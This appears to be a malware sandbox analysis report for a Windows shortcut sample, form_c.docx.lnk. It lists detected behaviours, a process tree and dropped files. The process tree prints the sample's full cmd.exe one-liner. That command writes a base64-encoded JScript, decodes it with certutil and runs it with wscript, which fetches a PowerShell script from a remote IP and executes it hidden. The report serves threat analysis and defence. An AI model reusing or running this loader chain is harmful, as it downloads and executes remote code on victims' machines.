Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/07/2026, 12:20

General

  • Target
    form_c.docx.lnk
  • Size 72KB
  • Sample260720-ph47ysb19s
  • SHA256 181db83be5c01390f031a7601476ff4fb54aa5d5f777694a0eb920b9e4393e79
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Payload decoded via CertUtil.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\form_c.docx.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1180
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzg5LjEwNi44My40MC9JbnZpdGF0aW9uX0F1Zy9wcmludGluZ3NjaW1pdGFyLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw== > sp.b64 && certutil -decode sp.b64 NC6P.js >nul && wscript //b NC6P.js && del sp.b64 NC6P.js"
      2⤵
      • Deobfuscate/Decode Files or Information
      • Suspicious use of WriteProcessMemory
      PID:4020
      • C:\Windows\system32\certutil.exe
        certutil -decode sp.b64 NC6P.js
        3⤵
        • Deobfuscate/Decode Files or Information
        PID:4720
      • C:\Windows\system32\wscript.exe
        wscript //b NC6P.js
        3⤵
        • Badlisted process makes network request
        PID:4568

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        NC6P.js

        • Path C:\Users\Admin\AppData\Local\Temp\NC6P.js
        • Size 313B
        • SHA256 25c4ff37bfa9da41028275af82839b36195fb97836f0acb41bbbaa57d4d7dee7
        • MD5 SHA1 SHA512 TLSH

        sp.b64

        • Path C:\Users\Admin\AppData\Local\Temp\sp.b64
        • Size 424B
        • SHA256 4c072276b58f94f63b5306fc93e1482aa98854817b3e160320ab18b7474e9cb0
        • MD5 SHA1 SHA512 TLSH